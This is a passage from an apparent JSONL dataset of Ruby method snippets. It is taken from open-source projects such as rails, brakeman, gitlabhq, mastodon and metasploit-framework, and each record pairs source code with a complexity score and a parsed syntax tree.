errors.\"]}]},{\"type\":\"lvasgn\",\"children\":[\"action_url\",{\"type\":\"send\",\"children\":[null,\"settings_url\",{\"type\":\"str\",\"children\":[\"automation/list\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"meta\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"rule_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rule\"]},\"name\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"send_notification\",{\"type\":\"lvar\",\"children\":[\"subject\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action_url\"]},{\"type\":\"lvar\",\"children\":[\"action_url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"meta\"]},{\"type\":\"lvar\",\"children\":[\"meta\"]}]}]}]}]}]}","id":"5a7813bf-038a-4480-b5ed-077e5549a422"}
{"repo_name":"rails","file_path":"./repos/rails/actiontext/app/helpers/action_text/content_helper.rb","start_line":54,"raw_source":"def render_action_text_attachment(attachment, locals: {}) # :nodoc:\n      options = { locals: locals, object: attachment, partial: attachment }\n\n      if attachment.respond_to?(:to_attachable_partial_path)\n        options[:partial] = attachment.to_attachable_partial_path\n      end\n\n      if attachment.respond_to?(:model_name)\n        options[:as] = attachment.model_name.element\n      end\n\n      render(**options).chomp\n    end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"render_action_text_attachment\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment\"]},{\"type\":\"kwoptarg\",\"children\":[\"locals\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"locals\"]},{\"type\":\"lvar\",\"children\":[\"locals\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"object\"]},{\"type\":\"lvar\",\"children\":[\"attachment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"lvar\",\"children\":[\"attachment\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"to_attachable_partial_path\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"partial\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"to_attachable_partial_path\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"respond_to?\",{\"type\":\"sym\",\"children\":[\"model_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"as\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"attachment\"]},\"model_name\"]},\"element\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"hash\",\"children\":[{\"type\":\"kwsplat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]},\"chomp\"]}]}]}","id":"617c03c6-a20d-42c4-bd07-345ba7e7487d"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/alias_processor.rb","start_line":1108,"raw_source":"def test_branch_array_include\n    assert_alias 'x', <<-INPUT\n    if [1,2,3].include? x\n      stuff\n    end\n\n    x\n    INPUT\n\n    assert_output <<-INPUT, <<-OUTPUT\n    if [1,2,3].include? x\n      y = x + 2\n      p y\n    end\n\n    x\n    INPUT\n    if [1,2,3].include? x\n      y = :BRAKEMAN_SAFE_LITERAL\n      p :BRAKEMAN_SAFE_LITERAL\n    end\n\n    x\n    OUTPUT\n\n    assert_output <<-INPUT, <<-OUTPUT\n    x = params[:x].presence\n    if ['a','b'].include? x\n      User.send x\n    end\n\n    x\n    INPUT\n    x = params[:x]\n    if ['a','b'].include? params[:x]\n      User.BRAKEMAN_SAFE_LITERAL\n    end\n\n    params[:x]\n    OUTPUT\n  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_branch_array_include\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_alias\",{\"type\":\"str\",\"children\":[\"x\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    if [1,2,3].include? x\\n\"]},{\"type\":\"str\",\"children\":[\"      stuff\\n\"]},{\"type\":\"str\",\"children\":[\"    end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    x\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_output\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    if [1,2,3].include? x\\n\"]},{\"type\":\"str\",\"children\":[\"      y = x + 2\\n\"]},{\"type\":\"str\",\"children\":[\"      p y\\n\"]},{\"type\":\"str\",\"children\":[\"    end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    x\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    if [1,2,3].include? x\\n\"]},{\"type\":\"str\",\"children\":[\"      y = :BRAKEMAN_SAFE_LITERAL\\n\"]},{\"type\":\"str\",\"children\":[\"      p :BRAKEMAN_SAFE_LITERAL\\n\"]},{\"type\":\"str\",\"children\":[\"    end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    x\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_output\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    x = params[:x].presence\\n\"]},{\"type\":\"str\",\"children\":[\"    if ['a','b'].include? x\\n\"]},{\"type\":\"str\",\"children\":[\"      User.send x\\n\"]},{\"type\":\"str\",\"children\":[\"    end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    x\\n\"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"    x = params[:x]\\n\"]},{\"type\":\"str\",\"children\":[\"    if ['a','b'].include? params[:x]\\n\"]},{\"type\":\"str\",\"children\":[\"      User.BRAKEMAN_SAFE_LITERAL\\n\"]},{\"type\":\"str\",\"children\":[\"    end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"    params[:x]\\n\"]}]}]}]}]}","id":"68ab14a6-6b9c-4dd1-a0e8-62736f6c1896"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/incident_management/issuable_escalation_statuses/create_service.rb","start_line":6,"raw_source":"def initialize(issue)\n        @issue = issue\n\n        super(project: issue.project)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@issue\",{\"type\":\"lvar\",\"children\":[\"issue\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"project\"]}]}]}]}]}]}","id":"6436b61b-089c-4282-8d65-ba9cd9eae516"}
{"repo_name":"reek","file_path":"./repos/reek/lib/reek/cli/options.rb","start_line":225,"raw_source":"def set_utility_options\n        parser.separator \"\\nUtility options:\"\n        parser.on_tail('-h', '--help', 'Show this message') do\n          puts parser\n          exit\n        end\n        parser.on_tail('-l', '--list', 'List all available smell detectors') do\n          puts \"All available smell detectors:\\n\\n\"\n          puts DetectorRepository.available_detector_names\n          puts \"\\nCheck out #{DocumentationLink.build('Code Smells')} \" \\\n               'for a details on each detector'\n          exit\n        end\n        parser.on_tail('-v', '--version', 'Show version') do\n          puts \"#{parser.program_name} #{Reek::Version::STRING}\\n\"\n          exit\n        end\n      end","complexity_score":28.6,"ast_json":"{\"type\":\"def\",\"children\":[\"set_utility_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parser\"]},\"separator\",{\"type\":\"str\",\"children\":[\"\\nUtility options:\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parser\"]},\"on_tail\",{\"type\":\"str\",\"children\":[\"-h\"]},{\"type\":\"str\",\"children\":[\"--help\"]},{\"type\":\"str\",\"children\":[\"Show this message\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[null,\"parser\"]}]},{\"type\":\"send\",\"children\":[null,\"exit\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parser\"]},\"on_tail\",{\"type\":\"str\",\"children\":[\"-l\"]},{\"type\":\"str\",\"children\":[\"--list\"]},{\"type\":\"str\",\"children\":[\"List all available smell detectors\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"str\",\"children\":[\"All available smell detectors:\\n\\n\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DetectorRepository\"]},\"available_detector_names\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\nCheck out \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DocumentationLink\"]},\"build\",{\"type\":\"str\",\"children\":[\"Code Smells\"]}]}]},{\"type\":\"str\",\"children\":[\" \"]}]},{\"type\":\"str\",\"children\":[\"for a details on each detector\"]}]}]},{\"type\":\"send\",\"children\":[null,\"exit\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parser\"]},\"on_tail\",{\"type\":\"str\",\"children\":[\"-v\"]},{\"type\":\"str\",\"children\":[\"--version\"]},{\"type\":\"str\",\"children\":[\"Show version\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parser\"]},\"program_name\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Reek\"]},\"Version\"]},\"STRING\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"exit\"]}]}]}]}]}","id":"a334cf2a-61f3-470d-8291-d8398c06feeb"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/rspec_run_time.rb","start_line":41,"raw_source":"def example_group_finished(notification)\n        @group_level -= 1 if @group_level > 0\n\n        if @group_level == 0\n          file_path = spec_file_path(notification)\n          time_now = Process.clock_gettime(Process::CLOCK_MONOTONIC)\n          actual_duration = time_now - @current_group_start_time\n\n          output.puts \"\\n# [RSpecRunTime] Finishing example group #{file_path}. \" \\\n            \"It took #{readable_duration(actual_duration)}. \" \\\n            \"#{expected_run_time(file_path)}\"\n        end\n\n        output_elapsed_time\n      end","complexity_score":20.13,"ast_json":"{\"type\":\"def\",\"children\":[\"example_group_finished\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"notification\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group_level\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@group_level\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@group_level\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"file_path\",{\"type\":\"send\",\"children\":[null,\"spec_file_path\",{\"type\":\"lvar\",\"children\":[\"notification\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"time_now\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"clock_gettime\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Process\"]},\"CLOCK_MONOTONIC\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"actual_duration\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time_now\"]},\"-\",{\"type\":\"ivar\",\"children\":[\"@current_group_start_time\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"output\"]},\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n# [RSpecRunTime] Finishing example group \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file_path\"]}]},{\"type\":\"str\",\"children\":[\". \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"It took \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"readable_duration\",{\"type\":\"lvar\",\"children\":[\"actual_duration\"]}]}]},{\"type\":\"str\",\"children\":[\". \"]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expected_run_time\",{\"type\":\"lvar\",\"children\":[\"file_path\"]}]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"output_elapsed_time\"]}]}]}","id":"06f80b37-5c4c-4844-835e-eb92f56a30bd"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/lib/webfinger_resource.rb","start_line":66,"raw_source":"def resource_without_acct_string\n    resource.delete_prefix('acct:')\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"resource_without_acct_string\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource\"]},\"delete_prefix\",{\"type\":\"str\",\"children\":[\"acct:\"]}]}]}","id":"4581c541-18d7-441e-a16b-420657e86d90"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/budgets/app/helpers/budgets_helper.rb","start_line":37,"raw_source":"def allowed_management?\n    User.current.allowed_in_project?(:edit_budgets, @project)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_management?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"User\"]},\"current\"]},\"allowed_in_project?\",{\"type\":\"sym\",\"children\":[\"edit_budgets\"]},{\"type\":\"ivar\",\"children\":[\"@project\"]}]}]}","id":"d93c6de2-dab8-4741-95b0-591e127af149"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/example_group.rb","start_line":862,"raw_source":"def self.base_name_for(group)\n      return \"Anonymous\".dup if group.description.empty?\n\n      # Convert to CamelCase.\n      name = ' ' + group.description\n      name.gsub!(/[^0-9a-zA-Z]+([0-9a-zA-Z])/) do\n        match = ::Regexp.last_match[1]\n        match.upcase!\n        match\n      end\n\n      name.lstrip!                # Remove leading whitespace\n      name.gsub!(/\\W/, ''.freeze) # JRuby, RBX and others don't like non-ascii in const names\n\n      # Ruby requires first const letter to be A-Z. Use `Nested`\n      # as necessary to enforce that.\n      name.gsub!(/\\A([^A-Z]|\\z)/, 'Nested\\1'.freeze)\n\n      name\n    end","complexity_score":20.25,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"base_name_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"group\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"description\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Anonymous\"]},\"dup\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\" \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"description\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"[^0-9a-zA-Z]+([0-9a-zA-Z])\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"match\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Regexp\"]},\"last_match\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"match\"]},\"upcase!\"]},{\"type\":\"lvar\",\"children\":[\"match\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"lstrip!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\W\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"freeze\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"gsub!\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A([^A-Z]|\\\\z)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"Nested\\\\1\"]},\"freeze\"]}]},{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}","id":"32b5f05d-dd83-4881-b01d-a87c439541cf"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin/out_stdout.rb","start_line":72,"raw_source":"def format(tag, time, record)\n      record = inject_values_to_record(tag, time, record)\n      @formatter.format(tag, time, record).chomp + \"\\n\"\n    end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"format\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"tag\"]},{\"type\":\"arg\",\"children\":[\"time\"]},{\"type\":\"arg\",\"children\":[\"record\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"record\",{\"type\":\"send\",\"children\":[null,\"inject_values_to_record\",{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@formatter\"]},\"format\",{\"type\":\"lvar\",\"children\":[\"tag\"]},{\"type\":\"lvar\",\"children\":[\"time\"]},{\"type\":\"lvar\",\"children\":[\"record\"]}]},\"chomp\"]},\"+\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}","id":"92199dac-e096-4a18-a39b-1be7fff5e26f"}
{"repo_name":"ahoy","file_path":"./repos/ahoy/test/base_generator_test.rb","start_line":10,"raw_source":"def test_works\n    run_generator\n    assert_file \"config/initializers/ahoy.rb\", /BaseStore/\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_works\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\"]},{\"type\":\"send\",\"children\":[null,\"assert_file\",{\"type\":\"str\",\"children\":[\"config/initializers/ahoy.rb\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"BaseStore\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]}","id":"1feb8c3b-2969-4868-815d-16696d49f8d4"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/db_manager/host.rb","start_line":100,"raw_source":"def delete_host_tag(opts)\n    wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)\n    tag_name = opts[:tag_name]\n    tag_ids = []\n\n    # If the command line included an address or address range then use this.\n    # Otherwise delete all entries that match the given tag.\n    host = find_host_by_address_or_id(opts, wspace)\n    if host\n      found_tags = Mdm::Tag.joins(:hosts).where(\"hosts.workspace_id = ? and hosts.id = ? and tags.name = ?\", wspace.id, host.id, tag_name)\n      found_tags.each do |t|\n        tag_ids << t.id\n      end\n\n      deleted_tags = []\n\n      tag_ids.each do |id|\n        tag = Mdm::Tag.find_by_id(id)\n        deleted_tags << tag\n        tag.destroy\n      end\n\n      return deleted_tags\n    end\n  end","complexity_score":30.2,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_host_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"opts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"wspace\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Msf\"]},\"Util\"]},\"DBManager\"]},\"process_opts_workspace\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"send\",\"children\":[null,\"framework\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag_name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"opts\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"tag_name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"tag_ids\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"host\",{\"type\":\"send\",\"children\":[null,\"find_host_by_address_or_id\",{\"type\":\"lvar\",\"children\":[\"opts\"]},{\"type\":\"lvar\",\"children\":[\"wspace\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"found_tags\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mdm\"]},\"Tag\"]},\"joins\",{\"type\":\"sym\",\"children\":[\"hosts\"]}]},\"where\",{\"type\":\"str\",\"children\":[\"hosts.workspace_id = ? and hosts.id = ? and tags.name = ?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"wspace\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"host\"]},\"id\"]},{\"type\":\"lvar\",\"children\":[\"tag_name\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found_tags\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_ids\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"id\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"deleted_tags\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag_ids\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"tag\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mdm\"]},\"Tag\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted_tags\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"tag\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"tag\"]},\"destroy\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"deleted_tags\"]}]}]},null]}]}]}","id":"c32f6609-cd96-421a-9819-b69d00333880"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/sidekiq/pausable.rb","start_line":41,"raw_source":"def unpause!\n    @mutex.synchronize do\n      @dbs.delete(RailsMultisite::ConnectionManagement.current_db)\n      stop_extend_lease_thread if @dbs.size == 0\n    end\n\n    Discourse.redis.del(PAUSED_KEY)\n    true\n  end","complexity_score":11.9,"ast_json":"{\"type\":\"def\",\"children\":[\"unpause!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dbs\"]},\"delete\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RailsMultisite\"]},\"ConnectionManagement\"]},\"current_db\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dbs\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"stop_extend_lease_thread\"]},null]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"redis\"]},\"del\",{\"type\":\"const\",\"children\":[null,\"PAUSED_KEY\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"255078b4-962c-4e2f-8f3c-1988d4a147b5"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/structured_event_subscriber_test.rb","start_line":47,"raw_source":"def test_explain_statements_are_ignored\n      subscriber = ActiveRecord::StructuredEventSubscriber.new\n\n      assert_no_event_reported(\"active_record.sql\") do\n        subscriber.sql(Event.new(0.9, sql: \"hi mom!\", name: \"EXPLAIN\"))\n      end\n    end","complexity_score":6.78,"ast_json":"{\"type\":\"def\",\"children\":[\"test_explain_statements_are_ignored\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"subscriber\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"StructuredEventSubscriber\"]},\"new\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_event_reported\",{\"type\":\"str\",\"children\":[\"active_record.sql\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subscriber\"]},\"sql\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Event\"]},\"new\",{\"type\":\"float\",\"children\":[0.9]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"sql\"]},{\"type\":\"str\",\"children\":[\"hi mom!\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"EXPLAIN\"]}]}]}]}]}]}]}]}","id":"ed24a7b6-4498-4b1f-9027-5f853f2a29cd"}
